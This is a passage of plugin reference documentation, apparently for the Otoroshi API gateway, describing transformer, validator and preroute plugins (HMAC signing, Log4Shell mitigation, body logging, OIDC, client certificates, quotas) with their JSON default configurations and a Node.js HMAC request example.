informations on the following endpoint.\n\n`/.well-known/otoroshi/plugins/geolocation`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.geoloc.GeolocationInfoHeader }\n\n## Geolocation header\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `GeolocationInfoHeader`\n\n### Description\n\nThis plugin will send informations extracted by the Geolocation details extractor to the target service in a header.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"GeolocationInfoHeader\": {\n \"headerName\": \"X-Geolocation-Info\" // header in which info will be sent\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"GeolocationInfoHeader\" : {\n \"headerName\" : \"X-Geolocation-Info\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.hmac.HMACCallerPlugin }\n\n## HMAC caller plugin\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `HMACCallerPlugin`\n\n### Description\n\nThis plugin can be used to call a \"protected\" api by an HMAC signature. It will adds a signature with the secret configured on the plugin.\n The signature string will always the content of the header list listed in the plugin configuration.\n\n\n\n### Default configuration\n\n```json\n{\n \"HMACCallerPlugin\" : {\n \"secret\" : \"my-defaut-secret\",\n \"algo\" : \"HMAC-SHA512\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.izanami.IzanamiCanary }\n\n## Izanami Canary Campaign\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `IzanamiCanary`\n\n### Description\n\nThis plugin allow you to perform canary testing based on an izanami experiment campaign (A/B test).\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"IzanamiCanary\" : {\n \"experimentId\" : \"foo:bar:qix\",\n \"configId\" : \"foo:bar:qix:config\",\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000,\n \"mtls\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"IzanamiCanary\" : {\n \"experimentId\" : \"foo:bar:qix\",\n \"configId\" : \"foo:bar:qix:config\",\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000,\n \"mtls\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.izanami.IzanamiProxy }\n\n## Izanami APIs Proxy\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `IzanamiProxy`\n\n### Description\n\nThis plugin exposes routes to proxy Izanami configuration and features tree APIs.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"IzanamiProxy\" : {\n \"path\" : \"/api/izanami\",\n \"featurePattern\" : \"*\",\n \"configPattern\" : \"*\",\n \"autoContext\" : false,\n \"featuresEnabled\" : true,\n \"featuresWithContextEnabled\" : true,\n \"configurationEnabled\" : false,\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"IzanamiProxy\" : {\n \"path\" : \"/api/izanami\",\n \"featurePattern\" : \"*\",\n \"configPattern\" : \"*\",\n \"autoContext\" : false,\n \"featuresEnabled\" : true,\n \"featuresWithContextEnabled\" : true,\n \"configurationEnabled\" : false,\n \"izanamiUrl\" : \"https://izanami.foo.bar\",\n \"izanamiClientId\" : \"client\",\n \"izanamiClientSecret\" : \"secret\",\n \"timeout\" : 5000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.jq.JqBodyTransformer }\n\n## JQ bodies transformer\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `JqBodyTransformer`\n\n### Description\n\nThis plugin let you transform JSON bodies (in requests and responses) using [JQ filters](https://stedolan.github.io/jq/manual/#Basicfilters).\n\nSome JSON variables are accessible by default :\n\n * `$url`: the request url\n * `$path`: the request path\n * `$domain`: the request domain\n * `$method`: the request method\n * `$headers`: the current request headers (with name in lowercase)\n * `$queryParams`: the current request query params\n * `$otoToken`: the otoroshi protocol token (if one)\n * `$inToken`: the first matched JWT token as is (from verifiers, if one)\n * `$token`: the first matched JWT token as is (from verifiers, if one)\n * `$user`: the current user (if one)\n * `$apikey`: the current apikey (if one)\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"JqBodyTransformer\" : {\n \"request\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n },\n \"response\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"JqBodyTransformer\" : {\n \"request\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n },\n \"response\" : {\n \"filter\" : \".\",\n \"included\" : [ ],\n \"excluded\" : [ ]\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.jsoup.HtmlPatcher }\n\n## Html Patcher\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `HtmlPatcher`\n\n### Description\n\nThis plugin can inject elements in html pages (in the body or in the head) returned by the service\n\n\n\n### Default configuration\n\n```json\n{\n \"HtmlPatcher\" : {\n \"appendHead\" : [ ],\n \"appendBody\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.log4j.Log4ShellFilter }\n\n## Log4Shell mitigation plugin\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `Log4ShellFilter`\n\n### Description\n\nThis plugin try to detect Log4Shell attacks in request and block them.\n\nThis plugin can accept the following configuration\n\n```javascript\n{\n \"Log4ShellFilter\": {\n \"status\": 200, // the status send back when an attack expression is found\n \"body\": \"\", // the body send back when an attack expression is found\n \"parseBody\": false // enables request body parsing to find attack expression\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"Log4ShellFilter\" : {\n \"status\" : 200,\n \"body\" : \"\",\n \"parseBody\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.loggers.BodyLogger }\n\n## Body logger\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `BodyLogger`\n\n### Description\n\nThis plugin can log body present in request and response. It can just logs it, store in in the redis store with a ttl and send it to analytics.\nIt also provides a debug UI at `/.well-known/otoroshi/bodylogger`.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"BodyLogger\": {\n \"enabled\": true, // enabled logging\n \"log\": true, // just log it\n \"store\": false, // store bodies in datastore\n \"ttl\": 300000, // store it for some times (5 minutes by default)\n \"sendToAnalytics\": false, // send bodies to analytics\n \"maxSize\": 5242880, // max body size (body will be cut after that)\n \"password\": \"password\", // password for the ui, if none, it's public\n \"filter\": { // log only for some status, method and paths\n \"statuses\": [],\n \"methods\": [],\n \"paths\": [],\n \"not\": {\n \"statuses\": [],\n \"methods\": [],\n \"paths\": []\n }\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"BodyLogger\" : {\n \"enabled\" : true,\n \"log\" : true,\n \"store\" : false,\n \"ttl\" : 300000,\n \"sendToAnalytics\" : false,\n \"maxSize\" : 5242880,\n \"password\" : \"password\",\n \"filter\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ],\n \"not\" : {\n \"statuses\" : [ ],\n \"methods\" : [ ],\n \"paths\" : [ ]\n }\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.mirror.MirroringPlugin }\n\n## Mirroring plugin\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `MirroringPlugin`\n\n### Description\n\nThis plugin will mirror every request to other targets\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"MirroringPlugin\": {\n \"enabled\": true, // enabled mirroring\n \"to\": \"https://foo.bar.dev\", // the url of the service to mirror\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"MirroringPlugin\" : {\n \"enabled\" : true,\n \"to\" : \"https://foo.bar.dev\",\n \"captureResponse\" : false,\n \"generateEvents\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.oauth1.OAuth1CallerPlugin }\n\n## OAuth1 caller\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `OAuth1Caller`\n\n### Description\n\nThis plugin can be used to call api that are authenticated using OAuth1.\n Consumer key, secret, and OAuth token et OAuth token secret can be pass through the metadata of an api key\n or via the configuration of this plugin.\n\n\n\n### Default configuration\n\n```json\n{\n \"OAuth1Caller\" : {\n \"algo\" : \"HmacSHA512\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.oidc.OIDCHeaders }\n\n## OIDC headers\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `OIDCHeaders`\n\n### Description\n\nThis plugin injects headers containing tokens and profile from current OIDC provider.\n\n\n\n### Default configuration\n\n```json\n{\n \"OIDCHeaders\" : {\n \"profile\" : {\n \"send\" : true,\n \"headerName\" : \"X-OIDC-User\"\n },\n \"idtoken\" : {\n \"send\" : false,\n \"name\" : \"id_token\",\n \"headerName\" : \"X-OIDC-Id-Token\",\n \"jwt\" : true\n },\n \"accesstoken\" : {\n \"send\" : false,\n \"name\" : \"access_token\",\n \"headerName\" : \"X-OIDC-Access-Token\",\n \"jwt\" : true\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.security.SecurityTxt }\n\n## Security Txt\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `SecurityTxt`\n\n### Description\n\nThis plugin exposes a special route `/.well-known/security.txt` as proposed at [https://securitytxt.org/](https://securitytxt.org/).\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"SecurityTxt\": {\n \"Contact\": \"contact@foo.bar\", // mandatory, a link or e-mail address for people to contact you about security issues\n \"Encryption\": \"http://url-to-public-key\", // optional, a link to a key which security researchers should use to securely talk to you\n \"Acknowledgments\": \"http://url\", // optional, a link to a web page where you say thank you to security researchers who have helped you\n \"Preferred-Languages\": \"en, fr, es\", // optional\n \"Policy\": \"http://url\", // optional, a link to a policy detailing what security researchers should do when searching for or reporting security issues\n \"Hiring\": \"http://url\", // optional, a link to any security-related job openings in your organisation\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"SecurityTxt\" : {\n \"Contact\" : \"contact@foo.bar\",\n \"Encryption\" : \"https://...\",\n \"Acknowledgments\" : \"https://...\",\n \"Preferred-Languages\" : \"en, fr\",\n \"Policy\" : \"https://...\",\n \"Hiring\" : \"https://...\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.static.StaticResponse }\n\n## Static Response\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `StaticResponse`\n\n### Description\n\nThis plugin returns a static response for any request\n\n\n\n### Default configuration\n\n```json\n{\n \"StaticResponse\" : {\n \"status\" : 200,\n \"headers\" : {\n \"Content-Type\" : \"application/json\"\n },\n \"body\" : \"{\\\"message\\\":\\\"hello world!\\\"}\",\n \"bodyBase64\" : null\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.useragent.UserAgentInfoEndpoint }\n\n## User-Agent endpoint\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: ``none``\n\n### Description\n\nThis plugin will expose current user-agent informations on the following endpoint.\n\n`/.well-known/otoroshi/plugins/user-agent`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.useragent.UserAgentInfoHeader }\n\n## User-Agent header\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `UserAgentInfoHeader`\n\n### Description\n\nThis plugin will sent informations extracted by the User-Agent details extractor to the target service in a header.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"UserAgentInfoHeader\": {\n \"headerName\": \"X-User-Agent-Info\" // header in which info will be sent\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"UserAgentInfoHeader\" : {\n \"headerName\" : \"X-User-Agent-Info\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-transformer #otoroshi.plugins.workflow.WorkflowEndpoint }\n\n## [DEPRECATED] Workflow endpoint\n\n\n\n### Infos\n\n* plugin type: `transformer`\n* configuration root: `WorkflowEndpoint`\n\n### Description\n\nThis plugin runs a workflow and return the response\n\n\n\n### Default configuration\n\n```json\n{\n \"WorkflowEndpoint\" : {\n \"workflow\" : { }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.biscuit.BiscuitValidator }\n\n## Biscuit token validator\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: ``none``\n\n### Description\n\nThis plugin validates a Biscuit token.\n\n\n\n### Default configuration\n\n```json\n{\n \"publicKey\" : \"xxxxxx\",\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"enforce\" : false,\n \"extractor\" : {\n \"type\" : \"header\",\n \"name\" : \"Authorization\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertMatchingApikeyValidator }\n\n## Client Certificate + Api Key only\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: ``none``\n\n### Description\n\nCheck if a client certificate is present in the request and that the apikey used matches the client certificate.\nYou can set the client cert. DN in an apikey metadata named `allowed-client-cert-dn`\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertMatchingHttpValidator }\n\n## Client certificate matching (over http)\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HasClientCertMatchingHttpValidator`\n\n### Description\n\nCheck if client certificate matches the following configuration\n\nexpected response from http service is\n\n```json\n{\n \"serialNumbers\": [], // allowed certificated serial numbers\n \"subjectDNs\": [], // allowed certificated DNs\n \"issuerDNs\": [], // allowed certificated issuer DNs\n \"regexSubjectDNs\": [], // allowed certificated DNs matching regex\n \"regexIssuerDNs\": [], // allowed certificated issuer DNs matching regex\n}\n```\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"HasClientCertMatchingValidator\": {\n \"url\": \"...\", // url for the call\n \"headers\": {}, // http header for the call\n \"ttl\": 600000, // cache ttl,\n \"mtlsConfig\": {\n \"certId\": \"xxxxx\",\n \"mtls\": false,\n \"loose\": false\n }\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"HasClientCertMatchingHttpValidator\" : {\n \"url\" : \"http://foo.bar\",\n \"ttl\" : 600000,\n \"headers\" : { },\n \"mtlsConfig\" : {\n \"certId\" : \"...\",\n \"mtls\" : false,\n \"loose\" : false\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertMatchingValidator }\n\n## Client certificate matching\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HasClientCertMatchingValidator`\n\n### Description\n\nCheck if client certificate matches the following configuration\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"HasClientCertMatchingValidator\": {\n \"serialNumbers\": [], // allowed certificated serial numbers\n \"subjectDNs\": [], // allowed certificated DNs\n \"issuerDNs\": [], // allowed certificated issuer DNs\n \"regexSubjectDNs\": [], // allowed certificated DNs matching regex\n \"regexIssuerDNs\": [], // allowed certificated issuer DNs matching regex\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"HasClientCertMatchingValidator\" : {\n \"serialNumbers\" : [ ],\n \"subjectDNs\" : [ ],\n \"issuerDNs\" : [ ],\n \"regexSubjectDNs\" : [ ],\n \"regexIssuerDNs\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.clientcert.HasClientCertValidator }\n\n## Client Certificate Only\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: ``none``\n\n### Description\n\nCheck if a client certificate is present in the request\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.hmac.HMACValidator }\n\n## HMAC access validator\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HMACAccessValidator`\n\n### Description\n\nThis plugin can be used to check if a HMAC signature is present and valid in Authorization header.\n\n\n\n### Default configuration\n\n```json\n{\n \"HMACAccessValidator\" : {\n \"secret\" : \"\"\n }\n}\n```\n\n\n\n### Documentation\n\n\n The HMAC signature needs to be set on the `Authorization` or `Proxy-Authorization` header.\n The format of this header should be : `hmac algorithm=\"\", headers=\"
\", signature=\"\"`\n As example, a simple nodeJS call with the expected header\n ```js\n const crypto = require('crypto');\n const fetch = require('node-fetch');\n\n const date = new Date()\n const secret = \"my-secret\" // equal to the api key secret by default\n\n const algo = \"sha512\"\n const signature = crypto.createHmac(algo, secret)\n .update(date.getTime().toString())\n .digest('base64');\n\n fetch('http://myservice.oto.tools:9999/api/test', {\n headers: {\n \"Otoroshi-Client-Id\": \"my-id\",\n \"Otoroshi-Client-Secret\": \"my-secret\",\n \"Date\": date.getTime().toString(),\n \"Authorization\": `hmac algorithm=\"hmac-${algo}\", headers=\"Date\", signature=\"${signature}\"`,\n \"Accept\": \"application/json\"\n }\n })\n .then(r => r.json())\n .then(console.log)\n ```\n In this example, we have an Otoroshi service deployed on http://myservice.oto.tools:9999/api/test, protected by api keys.\n The secret used is the secret of the api key (by default, but you can change it and define a secret on the plugin configuration).\n We send the base64 encoded date of the day, signed by the secret, in the Authorization header. We specify the headers signed and the type of algorithm used.\n You can sign more than one header but you have to list them in the headers fields (each one separate by a space, example : headers=\"Date KeyId\").\n The algorithm used can be HMAC-SHA1, HMAC-SHA256, HMAC-SHA384 or HMAC-SHA512.\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.oidc.OIDCAccessTokenValidator }\n\n## OIDC access_token validator\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `OIDCAccessTokenValidator`\n\n### Description\n\nThis plugin will use the third party apikey configuration and apply it while keeping the apikey mecanism of otoroshi.\nUse it to combine apikey validation and OIDC access_token validation.\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"OIDCAccessTokenValidator\": {\n \"enabled\": true,\n \"atLeastOne\": false,\n // config is optional and can be either an object config or an array of objects\n \"config\": {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n}\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"OIDCAccessTokenValidator\" : {\n \"enabled\" : true,\n \"atLeastOne\" : false,\n \"config\" : {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.quotas.ServiceQuotas }\n\n## Public quotas\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `ServiceQuotas`\n\n### Description\n\nThis plugin will enforce public quotas on the current service\n\n\n\n\n\n\n\n### Default configuration\n\n```json\n{\n \"ServiceQuotas\" : {\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-validator #otoroshi.plugins.users.HasAllowedUsersValidator }\n\n## Allowed users only\n\n\n\n### Infos\n\n* plugin type: `validator`\n* configuration root: `HasAllowedUsersValidator`\n\n### Description\n\nThis plugin only let allowed users pass\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"HasAllowedUsersValidator\": {\n \"usernames\": [], // allowed usernames\n \"emails\": [], // allowed user email addresses\n \"emailDomains\": [], // allowed user email domains\n \"metadataMatch\": [], // json path expressions to match against user metadata. passes if one match\n \"metadataNotMatch\": [], // json path expressions to match against user metadata. passes if none match\n \"profileMatch\": [], // json path expressions to match against user profile. passes if one match\n \"profileNotMatch\": [], // json path expressions to match against user profile. passes if none match\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"HasAllowedUsersValidator\" : {\n \"usernames\" : [ ],\n \"emails\" : [ ],\n \"emailDomains\" : [ ],\n \"metadataMatch\" : [ ],\n \"metadataNotMatch\" : [ ],\n \"profileMatch\" : [ ],\n \"profileNotMatch\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.apikeys.ApikeyAuthModule }\n\n## Apikey auth module\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `ApikeyAuthModule`\n\n### Description\n\nThis plugin adds basic auth on service where credentials are valid apikeys on the current service.\n\n\n\n### Default configuration\n\n```json\n{\n \"ApikeyAuthModule\" : {\n \"realm\" : \"apikey-auth-module-realm\",\n \"noneTagIn\" : [ ],\n \"oneTagIn\" : [ ],\n \"allTagsIn\" : [ ],\n \"noneMetaIn\" : [ ],\n \"oneMetaIn\" : [ ],\n \"allMetaIn\" : [ ],\n \"noneMetaKeysIn\" : [ ],\n \"oneMetaKeyIn\" : [ ],\n \"allMetaKeysIn\" : [ ]\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.apikeys.CertificateAsApikey }\n\n## Client certificate as apikey\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `CertificateAsApikey`\n\n### Description\n\nThis plugin uses client certificate as an apikey. The apikey will be stored for classic apikey usage\n\n\n\n### Default configuration\n\n```json\n{\n \"CertificateAsApikey\" : {\n \"readOnly\" : false,\n \"allowClientIdOnly\" : false,\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"constrainedServicesOnly\" : false,\n \"tags\" : [ ],\n \"metadata\" : { }\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.apikeys.ClientCredentialFlowExtractor }\n\n## Client Credential Flow ApiKey extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: ``none``\n\n### Description\n\nThis plugin can extract an apikey from an opaque access_token generate by the `ClientCredentialFlow` plugin\n\n\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.biscuit.BiscuitExtractor }\n\n## Apikey from Biscuit token extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: ``none``\n\n### Description\n\nThis plugin extract an from a Biscuit token where the biscuit has an #authority fact 'client_id' containing\napikey client_id and an #authority fact 'client_sign' that is the HMAC256 signature of the apikey client_id with the apikey client_secret\n\n\n\n### Default configuration\n\n```json\n{\n \"publicKey\" : \"xxxxxx\",\n \"checks\" : [ ],\n \"facts\" : [ ],\n \"resources\" : [ ],\n \"rules\" : [ ],\n \"revocation_ids\" : [ ],\n \"enforce\" : false,\n \"extractor\" : {\n \"type\" : \"header\",\n \"name\" : \"Authorization\"\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.discovery.DiscoveryTargetsSelector }\n\n## Service discovery target selector (service discovery)\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `DiscoverySelfRegistration`\n\n### Description\n\nThis plugin select a target in the pool of discovered targets for this service.\nUse in combination with either `DiscoverySelfRegistrationSink` or `DiscoverySelfRegistrationTransformer` to make it work using the `self registration` pattern.\nOr use an implementation of `DiscoveryJob` for the `third party registration pattern`.\n\nThis plugin accepts the following configuration:\n\n\n\n### Default configuration\n\n```json\n{\n \"DiscoverySelfRegistration\" : {\n \"hosts\" : [ ],\n \"targetTemplate\" : { },\n \"registrationTtl\" : 60000\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.geoloc.IpStackGeolocationInfoExtractor }\n\n## Geolocation details extractor (using IpStack api)\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `GeolocationInfo`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [IpStack dbs](https://ipstack.com/).\nThe informations are store in plugins attrs for other plugins to use\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"GeolocationInfo\": {\n \"apikey\": \"xxxxxxx\",\n \"timeout\": 2000, // timeout in ms\n \"log\": false // will log geolocation details\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"GeolocationInfo\" : {\n \"apikey\" : \"xxxxxxx\",\n \"timeout\" : 2000,\n \"log\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.geoloc.MaxMindGeolocationInfoExtractor }\n\n## Geolocation details extractor (using Maxmind db)\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `GeolocationInfo`\n\n### Description\n\nThis plugin extract geolocation informations from ip address using the [Maxmind dbs](https://www.maxmind.com/en/geoip2-databases).\nThe informations are store in plugins attrs for other plugins to use\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"GeolocationInfo\": {\n \"path\": \"/foo/bar/cities.mmdb\", // file path, can be \"global\"\n \"log\": false // will log geolocation details\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"GeolocationInfo\" : {\n \"path\" : \"global\",\n \"log\" : false\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.jwt.JwtUserExtractor }\n\n## Jwt user extractor\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `JwtUserExtractor`\n\n### Description\n\nThis plugin extract a user from a JWT token\n\n\n\n### Default configuration\n\n```json\n{\n \"JwtUserExtractor\" : {\n \"verifier\" : \"\",\n \"strict\" : true,\n \"namePath\" : \"name\",\n \"emailPath\" : \"email\",\n \"metaPath\" : null\n }\n}\n```\n\n\n\n\n\n@@@\n\n\n@@@ div { .plugin .plugin-hidden .plugin-kind-preroute #otoroshi.plugins.oidc.OIDCAccessTokenAsApikey }\n\n## OIDC access_token as apikey\n\n\n\n### Infos\n\n* plugin type: `preroute`\n* configuration root: `OIDCAccessTokenAsApikey`\n\n### Description\n\nThis plugin will use the third party apikey configuration to generate an apikey\n\nThis plugin can accept the following configuration\n\n```json\n{\n \"OIDCAccessTokenValidator\": {\n \"enabled\": true,\n \"atLeastOne\": false,\n // config is optional and can be either an object config or an array of objects\n \"config\": {\n \"enabled\" : true,\n \"quotasEnabled\" : true,\n \"uniqueApiKey\" : false,\n \"type\" : \"OIDC\",\n \"oidcConfigRef\" : \"some-oidc-auth-module-id\",\n \"localVerificationOnly\" : false,\n \"mode\" : \"Tmp\",\n \"ttl\" : 0,\n \"headerName\" : \"Authorization\",\n \"throttlingQuota\" : 100,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"excludedPatterns\" : [ ],\n \"scopes\" : [ ],\n \"rolesPath\" : [ ],\n \"roles\" : [ ]\n}\n }\n}\n```\n\n\n\n### Default configuration\n\n```json\n{\n \"OIDCAccessTokenAsApikey\" : {\n \"enabled\" : true,\n 